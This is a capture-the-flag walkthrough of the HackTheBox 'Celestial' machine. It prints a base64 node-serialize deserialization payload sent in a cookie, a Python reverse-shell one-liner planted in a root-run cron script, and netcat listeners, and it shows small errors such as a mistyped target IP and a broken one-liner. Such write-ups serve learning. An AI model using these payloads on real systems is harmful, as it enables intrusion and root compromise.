Celestial

10.10.10.85

As usual, we start out with an nmap scan.

```
nmap -p- -A -n 10.10.10.75
```

While we're running the nmap scan, I usually check to see if any basic services are running so that I can get started quicker.

We can check that there is no webpage running by going to http://10.10.10.85 and we can see that both ssh and ftp aren't up either.

```
root@kali:~/Downloads/HackTheBox# ftp 10.10.10.85
ftp: connect: Connection refused
ftp> quit
root@kali:~/Downloads/HackTheBox# ssh 10.10.10.85
ssh: connect to host 10.10.10.85 port 22: Connection refused
root@kali:~/Downloads/HackTheBox#
```

So we wait for the nmap scan and this was the result:

```
Nmap scan report for 10.10.10.85
Host is up (0.22s latency).
Not shown: 65534 closed ports
PORT     STATE SERVICE VERSION
3000/tcp open  http    Node.js Express framework
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.91%E=4%D=3/7%OT=3000%CT=1%CU=34528%PV=Y%DS=2%DC=T%G=Y%TM=60456D
OS:59%P=x86_64-pc-linux-gnu)SEQ(SP=107%GCD=1%ISR=10A%TI=Z%CI=I%II=I%TS=8)OP
OS:S(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST
OS:11NW7%O6=M54DST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)EC
OS:N(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=
OS:AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(
OS:R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%
OS:F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N
OS:%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%C
OS:D=S)

Network Distance: 2 hops

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   217.98 ms 10.10.14.1
2   218.09 ms 10.10.10.85

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
```

We're greeted with a blank 404 page when we go to http://10.10.10.85:3000 and gobuster didn't turn anything up either so I decided to searchsploit node.js.

```
Exploit Title                                                            |  Path
Node.JS - 'node-serialize' Remote Code Execution                         |  linux/remote/45265.js
Trend Micro - node.js HTTP Server Listening on localhost Can Execute Commands | windows/remote/39218.html
Shellcodes: No Results
```

I couldn't understand the exploit by reading the .js file so I decided to google it and found a youtube video and post by Ajin Abraham on the exploit: https://www.youtube.com/watch?v=GFacPoWOcw0, https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/

Using the pdf, the video linked and Burpsuite, I was able to get in:

I used nodejsshell.py to generate the payload - [https://github.com/ajinabraham/Node.Js-Security-Course/blob/master/**nodejsshell.py**](https://github.com/ajinabraham/Node.Js-Security-Course/blob/master/nodejsshell.py)

```
python nodejsshell.py 127.0.0.1 1337
```

Next, I copied the payload into burpsuite decoder, added ***{"rce":"_$$ND_FUNC$$_function (){*** in front of the payload and ***}()"}*** at the end. Then I encoded it into base64 and pasted that into my burpsuite repeater.

```
GET / HTTP/1.1
Host: 10.10.10.85:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: profile=
```

eyJyY2UiOiJfJCRORF9GVU5DJCRfZnVuY3Rpb24gKCl7ZXZhbChTdHJpbmcuZnJvbUNoYXJDb2RlKDEwLDExOCw5NywxMTQsMzIsMTEwLDEwMSwxMTYsMz
IsNjEsMzIsMTE0LDEwMSwxMTMsMTE3LDEwNSwxMTQsMTAxLDQwLDM5LDExMCwxMDEsMTE2LDM5LDQxLDU5LDEwLDExOCw5NywxMTQsMzIsMTE1LDExMiw5
NywxMTksMTEwLDMyLDYxLDMyLDExNCwxMDEsMTEzLDExNywxMDUsMTE0LDEwMSw0MCwzOSw5OSwxMDQsMTA1LDEwOCwxMDAsOTUsMTEyLDExNCwxMTEsOT
ksMTAxLDExNSwxMTUsMzksNDEsNDYsMTE1LDExMiw5NywxMTksMTEwLDU5LDEwLDcyLDc5LDgzLDg0LDYxLDM0LDQ5LDQ4LDQ2LDQ5LDQ4LDQ2LDQ5LDUy
LDQ2LDUwLDUzLDM0LDU5LDEwLDgwLDc5LDgyLDg0LDYxLDM0LDQ5LDUxLDUxLDU1LDM0LDU5LDEwLDg0LDczLDc3LDY5LDc5LDg1LDg0LDYxLDM0LDUzLD
Q4LDQ4LDQ4LDM0LDU5LDEwLDEwNSwxMDIsMzIsNDAsMTE2LDEyMSwxMTIsMTAxLDExMSwxMDIsMzIsODMsMTE2LDExNCwxMDUsMTEwLDEwMyw0NiwxMTIs
MTE0LDExMSwxMTYsMTExLDExNiwxMjEsMTEyLDEwMSw0Niw5OSwxMTEsMTEwLDExNiw5NywxMDUsMTEwLDExNSwzMiw2MSw2MSw2MSwzMiwzOSwxMTcsMT
EwLDEwMCwxMDEsMTAyLDEwNSwxMTAsMTAxLDEwMCwzOSw0MSwzMiwxMjMsMzIsODMsMTE2LDExNCwxMDUsMTEwLDEwMyw0NiwxMTIsMTE0LDExMSwxMTYs
MTExLDExNiwxMjEsMTEyLDEwMSw0Niw5OSwxMTEsMTEwLDExNiw5NywxMDUsMTEwLDExNSwzMiw2MSwzMiwxMDIsMTE3LDExMCw5OSwxMTYsMTA1LDExMS
wxMTAsNDAsMTA1LDExNiw0MSwzMiwxMjMsMzIsMTE0LDEwMSwxMTYsMTE3LDExNCwxMTAsMzIsMTE2LDEwNCwxMDUsMTE1LDQ2LDEwNSwxMTAsMTAwLDEw
MSwxMjAsNzksMTAyLDQwLDEwNSwxMTYsNDEsMzIsMzMsNjEsMzIsNDUsNDksMTI1LDU5LDMyLDEyNSwxMCwxMDIsMTE3LDExMCw5OSwxMTYsMTA1LDExMCw5OSwxMTYsMT
AlLDExMSwxMTAsMzIsOTksNDAsNzIsNzksODMsODQsNDQsODAsNzksODIsODQsNDEsMzIsMTIzLDEwLDMyLDMyLDMyLDMyLDExOCw5NywxMTQsMzIsOTks
MTA4LDEwNSwxMDEsMTEwLDExNiwzMiw2MSwzMiwxMTAsMTAxLDExOSwzMiwxMTAsMTAxLDExNiw0Niw4MywxMTEsOTksMTA3LDEwMSwxMTYsNDAsNDEsNT
ksMTAsMzIsMzIsMzIsMzIsOTksMTA4LDEwNSwxMDEsMTEwLDExNiw0Niw5OSwxMTEsMTEwLDExMCwxMDEsOTksMTE2LDQwLDgwLDc5LDgyLDg0LDQ0LDMy
LDcyLDc5LDgzLDg0LDQ0LDMyLDEwMiwxMTcsMTEwLDk5LDExNiwxMDUsMTExLDExMCw0MCw0MSwzMiwxMjMsMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMz
IsMTE4LDk3LDExNCwzMiwxMTUsMTA0LDMyLDYxLDMyLDExNSwxMTIsOTcsMTE5LDExMCw0MCwzOSw0Nyw5OCwxMDUsMTEwLDQ3LDExNSwxMDQsMzksNDQs
OTEsOTMsNDEsNTksMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsOTksMTA4LDEwNSwxMDEsMTEwLDExNiw0NiwxMTksMTE0LDEwNSwxMTYsMTAxLDQwLD
M0LDY3LDExMSwxMTAsMTEwLDEwMSw5OSwxMTYsMTAxLDEwMCwzMyw5MiwxMTAsMzQsNDEsNTksMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsOTksMTA4
LDEwNSwxMDEsMTEwLDExNiw0NiwxMTIsMTA1LDExMiwxMDEsNDAsMTE1LDEwNCw0NiwxMTUsMTE2LDEwMCwxMDUsMTEwLDQxLDU5LDEwLDMyLDMyLDMyLD
MyLDMyLDMyLDMyLDMyLDExNSwxMDQsNDYsMTE1LDExNiwxMDAsMTExLDExNywxMTYsNDYsMTEyLDEwNSwxMTIsMTAxLDQwLDk5LDEwOCwxMDUsMTAxLDEx
MCwxMTYsNDEsNTksMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMTE1LDEwNCw0NiwxMTUsMTE2LDEwMCwxMDEsMTE0LDExNCw0NiwxMTIsMTA1LDExMi
wxMDEsNDAsOTksMTA4LDEwNSwxMDEsMTEwLDExNiw0MSw1OSwxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwxMTUsMTA0LDQ2LDExMSwxMTAsNDAsMzks
MTAxLDEyMCwxMDUsMTE2LDM5LDQ0LDEwMiwxMTcsMTEwLDk5LDExNiwxMDUsMTExLDExMCw0MCw5OSwxMTEsMTAwLDEwMSw0NCwxMTUsMTA1LDEwMywxMT
AsOTcsMTA4LDQxLDEyMywxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiw5OSwxMDgsMTA1LDEwMSwxMTAsMTE2LDQ2LDEwMSwxMTAsMTAwLDQw
LDM0LDY4LDEwNSwxMTUsOTksMTExLDExMCwxMTAsMTAxLDk5LDExNiwxMDEsMTAwLDMzLDkyLDExMCwzNCw0MSw1OSwxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMi
wzMiwzMiwxMjUsNDEsNTksMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMTI1LDQxLDU5LDEwLDMyLDMyLDMyLDMyLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsNDYsMTExLDExMCw0MCwz
MCwwMCwzOSwxMDEsMTE0LDExNCwxMTEsMTE0LDM5LDQ0LDEwMiwxMTcsMTEwLDk5LDExNiwxMDUsMTExLDExMCw0MCwxMDEsNDEsMTIzLDEwLDMyLDMyLD
MyLDMyLDMyLDMyLDMyLDMyLDExNSwxMDEsMTE2LDg0LDEwNSwxMDksMTAxLDExMSwxMTcsMTE2LDQwLDk5LDQwLDcyLDc5LDgzLDg0LDQ0LDgwLDc5LDgw
LDc5LDgyLDg0LDQxLDQ0LDMyLDg0LDczLDc3LDY5LDc5LDg1LDg0LDQxLDU5LDEwLDMyLDMyLDMyLDMyLDEyNSw0MSw1OSwxMCwxMjUsMTAsOTksNDAsNzIsNzksODMsODQsNDQsODAsNzks
ODIsODQsNDEsNTksMTAsMTApKX0oKSJ9


```
Upgrade-Insecure-Requests: 1
If-None-Match: W/"c-8lfvj2TmiRRvB7K+JPws1w9h6aY"
Cache-Control: max-age=0
```

I then sent the request and listened on my computer with netcat to get a shell

```
root@kali:~/Downloads/HackTheBox# nc -lvp 1337
listening on [any] 1337 ...
10.10.10.85: inverse host lookup failed: Unknown host
connect to [10.10.14.25] from (UNKNOWN) [10.10.10.85] 36846
Connected!
whoami
sun
pwd
/home/sun
```

We can use ***/usr/bin/script -qc /bin/bash /dev/null*** to get terminal access and check /home/sun/Documents to find user.txt

```
sun@sun:~/Documents$ ls -la
ls -la
total 28
drwxr-xr-x  2 sun sun  4096 Mar  7 21:20 .
drwxr-xr-x 21 sun sun  4096 Mar  7 18:50 ..
-rw-rw-r--  1 sun sun    29 Sep 21  2017 script.py
-rw-r--r--  1 sun sun 12288 Mar  7 21:20 .script.py.swp
-rw-rw-r--  1 sun sun    33 Sep 21  2017 user.txt
sun@sun:~/Documents$ cat user.txt
cat user.txt
[redacted]
```

Now we have to find root.txt. I tried ***sudo -l*** but it required a password which I didn't have. I ran Linpeas.sh and checked several ways to privesc but all to no avail. So, hoping I missed something, I went back to /home/sun/Documents and I noticed script.py there which just prints "Script is running", weird...
However, when I went back to /home/sun, I noticed a txt file called output.txt and in it, is "Script is running" and its owned by root and only writable by root.

```
drwxrwxr-x 57 sun  sun  4096 Sep 19  2017 .npm
-rw-r--r--  1 root root   21 Mar  8 01:35 output.txt
drwxr-xr-x  2 sun  sun  4096 Sep 19  2017 Pictures
```

So I guessed that root is running script.py and outputting it to output.txt. I checked this by changing script.py with ***echo 'print("Hello world")' > script.py***. I waited a few minutes (might take up to 5 mins) and output.txt changes to Hello world!

```
sun@sun:~$ cat output.txt
cat output.txt
Hello world
```

Next, I looked for python reverse shells and found this: import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1" 4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")

I changed the ip address then put it in script.py. I also set up a netcat listener on my computer for it to connect to with ***nc -lvp 4445*** and waited.

```
root@kali:~# nc -lvp 4445
listening on [any] 4445 ...
10.10.10.85: inverse host lookup failed: Unknown host
connect to [10.10.14.25] from (UNKNOWN) [10.10.10.85] 58510
root@sun:~# whoami
whoami
root
root@sun:~# pwd
pwd
/root
```

We got in as root! Now, all we have to do is find root.txt.

```
root@sun:~# cat root.txt
cat root.txt
[redacted]
root@sun:~#
```

And we're done!